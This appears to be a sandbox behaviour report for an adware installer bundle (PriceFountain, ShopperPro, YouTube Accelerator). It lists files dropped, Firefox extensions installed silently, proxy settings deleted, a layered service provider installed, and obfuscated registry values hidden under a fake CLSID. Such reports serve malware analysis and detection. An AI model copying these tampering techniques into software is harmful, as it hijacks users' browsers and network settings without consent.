C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_3652_testlsp.log (1438 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_3652.log (1345 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3652_testlsp.log (124166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\SMALLTEST[1].htm (70 bytes)

The process powershell.exe:812 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\73Q0UD5M4N8OG2Y65C9Q.temp (196 bytes)

The process powershell.exe:3708 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9843ISGDOT42BND5K8IE.temp (196 bytes)

The process powershell.exe:1540 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8KBN7EXD8D3FSBC2X7CR.temp (196 bytes)

The process setup.exe:2524 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\PriceFountain\Uninstall PriceFountain.lnk (991 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\PriceFountainUpdateVer.exe (61948 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (536 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\uninst.exe (10226 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\logs\installation.log (8322 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\PriceFountainUpdateVer.exe (3556 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\PriceFountain\PriceFountain.url (249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\PriceFountain\PriceFountain Help.url (257 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\sfx.exe (63715 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (26724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{b6a94784-0ffb-4121-88c6-435139067ee2}.xpi (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountainw.exe (462 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\staged\{b6a94784-0ffb-4121-88c6-435139067ee2}.xpi (3 bytes)

The process setup.exe:2008 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse3F04.tmp\jsdrv.exe (100669 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse3F04.tmp\nsProcess.dll (12 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse3F03.tmp (346661 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (35246 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse3F04.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse3F04.tmp\AccDownload.dll (11671 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse3F04.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse3F04.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (14184 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (44462 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (5 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (16944 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)

The process 7z920.exe:2544 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\7-Zip\Lang\fr.txt (14 bytes)
%Program Files% (x86)\7-Zip\Lang\uz.txt (10 bytes)
%Program Files% (x86)\7-Zip\Lang\is.txt (12 bytes)
%Program Files% (x86)\7-Zip\Lang\fi.txt (14 bytes)
%Program Files% (x86)\7-Zip\Lang\pt-br.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\de.txt (14 bytes)
%Program Files% (x86)\7-Zip\Lang\sr-spl.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\es.txt (14 bytes)
%Program Files% (x86)\7-Zip\Lang\hy.txt (784 bytes)
%Program Files% (x86)\7-Zip\descript.ion (333 bytes)
%Program Files% (x86)\7-Zip\Lang\af.txt (10 bytes)
%Program Files% (x86)\7-Zip\Lang\pl.txt (14 bytes)
%Program Files% (x86)\7-Zip\7z.exe (5520 bytes)
%Program Files% (x86)\7-Zip\Lang\cy.txt (10 bytes)
%Program Files% (x86)\7-Zip\Lang\kk.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\bn.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\da.txt (12 bytes)
%Program Files% (x86)\7-Zip\Lang\br.txt (10 bytes)
%Program Files% (x86)\7-Zip\Lang\cs.txt (14 bytes)
%Program Files% (x86)\7-Zip\Lang\tt.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\ta.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\sk.txt (14 bytes)
%Program Files% (x86)\7-Zip\Lang\en.ttt (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuFDE0.tmp\modern-wizard.bmp (784 bytes)
%Program Files% (x86)\7-Zip\Lang\tr.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\uk.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\hr.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\th.txt (784 bytes)
%Program Files% (x86)\7-Zip\7-zip.dll (1856 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\7-Zip\7-Zip File Manager.lnk (980 bytes)
%Program Files% (x86)\7-Zip\7zFM.exe (14605 bytes)
%Program Files% (x86)\7-Zip\Lang\el.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\bg.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\he.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\ka.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\ext.txt (14 bytes)
%Program Files% (x86)\7-Zip\Lang\nn.txt (11 bytes)
%Program Files% (x86)\7-Zip\Lang\az.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\sa.txt (784 bytes)
%Program Files% (x86)\7-Zip\7zG.exe (8184 bytes)
%Program Files% (x86)\7-Zip\Lang\eo.txt (10 bytes)
%Program Files% (x86)\7-Zip\Lang\eu.txt (12 bytes)
%Program Files% (x86)\7-Zip\Lang\si.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\fa.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\it.txt (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuFDE0.tmp\ioSpecial.ini (3847 bytes)
%Program Files% (x86)\7-Zip\Lang\sl.txt (12 bytes)
%Program Files% (x86)\7-Zip\Lang\ms.txt (10 bytes)
%Program Files% (x86)\7-Zip\Lang\ne.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\id.txt (13 bytes)
%Program Files% (x86)\7-Zip\7z.dll (30464 bytes)
%Program Files% (x86)\7-Zip\History.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\io.txt (10 bytes)
%Program Files% (x86)\7-Zip\Lang\lv.txt (10 bytes)
%Program Files% (x86)\7-Zip\Lang\sq.txt (11 bytes)
%Program Files% (x86)\7-Zip\Lang\hu.txt (14 bytes)
%Program Files% (x86)\7-Zip\Lang\nl.txt (14 bytes)
%Program Files% (x86)\7-Zip\Lang\vi.txt (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuFDE0.tmp\InstallOptions.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFDCF.tmp (75287 bytes)
%Program Files% (x86)\7-Zip\Lang\ast.txt (10 bytes)
%Program Files% (x86)\7-Zip\Lang\mr.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\mk.txt (15 bytes)
%Program Files% (x86)\7-Zip\Lang\hi.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\ja.txt (15 bytes)
%Program Files% (x86)\7-Zip\Lang\et.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\ro.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\gu.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\nb.txt (11 bytes)
%Program Files% (x86)\7-Zip\License.txt (1 bytes)
%Program Files% (x86)\7-Zip\Lang\lt.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\ku-ckb.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\sr-spc.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\va.txt (12 bytes)
%Program Files% (x86)\7-Zip\Lang\zh-tw.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\zh-cn.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\pa-in.txt (784 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\7-Zip\7-Zip Help.lnk (985 bytes)
%Program Files% (x86)\7-Zip\Lang\ps.txt (15 bytes)
%Program Files% (x86)\7-Zip\Uninstall.exe (255 bytes)
%Program Files% (x86)\7-Zip\Lang\ar.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\fy.txt (12 bytes)
%Program Files% (x86)\7-Zip\Lang\pt.txt (14 bytes)
%Program Files% (x86)\7-Zip\readme.txt (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuFDE0.tmp (4 bytes)
%Program Files% (x86)\7-Zip\Lang\be.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\sv.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\ug.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\mn.txt (14 bytes)
%Program Files% (x86)\7-Zip\7zCon.sfx (5520 bytes)
%Program Files% (x86)\7-Zip\7z.sfx (5520 bytes)
%Program Files% (x86)\7-Zip\7-zip.chm (3312 bytes)
%Program Files% (x86)\7-Zip\Lang\gl.txt (10 bytes)
%Program Files% (x86)\7-Zip\Lang\ba.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\fur.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\ko.txt (14 bytes)
%Program Files% (x86)\7-Zip\Lang\ru.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\ca.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\ku.txt (11 bytes)

The process WerFault.exe:4092 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_YTAHelper.exe_dc1cb0a6c5fbb2d495014aa7f606d9b96363555_0ff7891c\Report.wer (194484 bytes)

The process ShopperPro.exe:2612 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\config.json (490 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1260 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (291 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (490 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1462.0.0.0\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (3 bytes)
C:\ProgramData\ShopperPro\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1462.0.0.0\jsdrv.sys (52 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3073 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1462.0.0.0\config.json (770 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1462.0.0.0\jsdrv.exe (22786 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)

The process ins_shopperpro.exe:3676 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu39E6.tmp\setup.exe (1584890 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse39D5.tmp (152959 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu39E6.tmp\setup1.exe (142646 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu39E6.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu39E6.tmp\D1958.dll (30 bytes)

The process regsvr32.exe:1688 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro64.dll (503 bytes)

The process regsvr32.exe:3780 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro.dll (421 bytes)

The process regsvr32.exe:3832 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\PriceFountainIE.dll (90 bytes)

The process lspinst.exe:3000 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (253 bytes)
C:\ProgramData\TEMP:56E2E879 (375 bytes)

The process lspinst.exe:3808 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
C:\ProgramData\TEMP:56E2E879 (375 bytes)

The process YTAHEL~1.EXE:2568 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz423F.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz423F.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32824 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz423F.tmp\jsdrv.exe (100669 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz423F.tmp\nsProcess.dll (12 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\YTAHelper\SPRemove.exe (17848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz423F.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (15168 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz423F.tmp\AccDownload.dll (11667 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (17848 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj422E.tmp (133285 bytes)

The process DCytaiesmt_smtyc_setup.exe:3420 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_2124\ins_postInst.exe (3978 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_2124\ins_yta.exe (29405 bytes)

The process pricefountain.exe:3356 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\logs\main.log (8406 bytes)

The process spbiu.exe:812 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)

The process spbiu.exe:1800 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
C:\Windows\Temp\SPBI_cache_iexplore.exe.cache (1024 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (327 bytes)

The process taskeng.exe:3600 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\ShopperPro\JSDriver\1462.0.0.0\jsdrv.exe (291 bytes)

The process smt_mystartsearch.exe:888 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~dlAD2F\~dlxz\jieya.dll (410 bytes)

The process ytaiesmt_smtyc_setup.exe:3348 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseDA8.tmp\DCytaiesmt_smtyc_setup.exe (376835 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseDA8.tmp\7E5344D40EB28303 (34561 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseDA8.tmp\D1989.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseDA8.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspD98.tmp (37336 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseDA8.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseDA8.tmp (4 bytes)

Registry activity

The process %original file name%.exe:3640 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

The process YTAHelper.exe:1756 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process pricefountainw.exe:2284 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\PriceFountain]
"firstW" = "1"
"pmwt" = "0"
"pmwc" = "1"

The process YouTubeAcceleratorService.exe:2288 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "04 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 E1 A5 44 A3"

The process YouTubeAcceleratorService.exe:3952 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "01 00 00 00"
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 E1 A5 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"ThreadingModel" = "Both"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "48 FC BD 0F DA 16 1F FF FF FF FF 64 22 18 AF D9"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"(Default)" = "IE Recovery Store"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"(Default)" = "C:\Windows\SysWOW64\ieframe.dll"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"0"

The process YouTubeAcceleratorService.exe:2504 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQyJjWvnbINNKgl"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"VA_Aff" = "NONE"

[HKU\.DEFAULT\Software\GOOBZO\YouTube Accelerator]
"LastUpdateTime" = "1420623189"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 E1 A5 44 A3"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1420623208"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspVersion" = "1.0.0.1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAIDV" = "0"
"SBPIDV" = "0"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "09 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"XMLVersion" = "20131113143800"
"XMLUpdateFailed" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"
"WpadNetworkName" = "Network 3"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"UpdateReason" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "33 B1 B9 F0 5C 2A D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"VA_Aff" = "NONE"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"
"TraceLevel" = "3"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LSPTestSucceeded" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "RTJ_rQulx|ab@_w}Yu`gBISI`@Ndl"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"XMLUpdateFailed" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "33 B1 B9 F0 5C 2A D0 01"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtiESLXGAt\li@u"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAID" = "8bdf8418-b466-4ed7-9e49-f26d02b7e07d"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"resver" = "1.0.0.8"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZkj"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAPW" = "79SH6wsy"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"resver" = "1.0.0.8"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "MoEmxRAp}uyQjf]laj{GfsAfEsSmZ"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

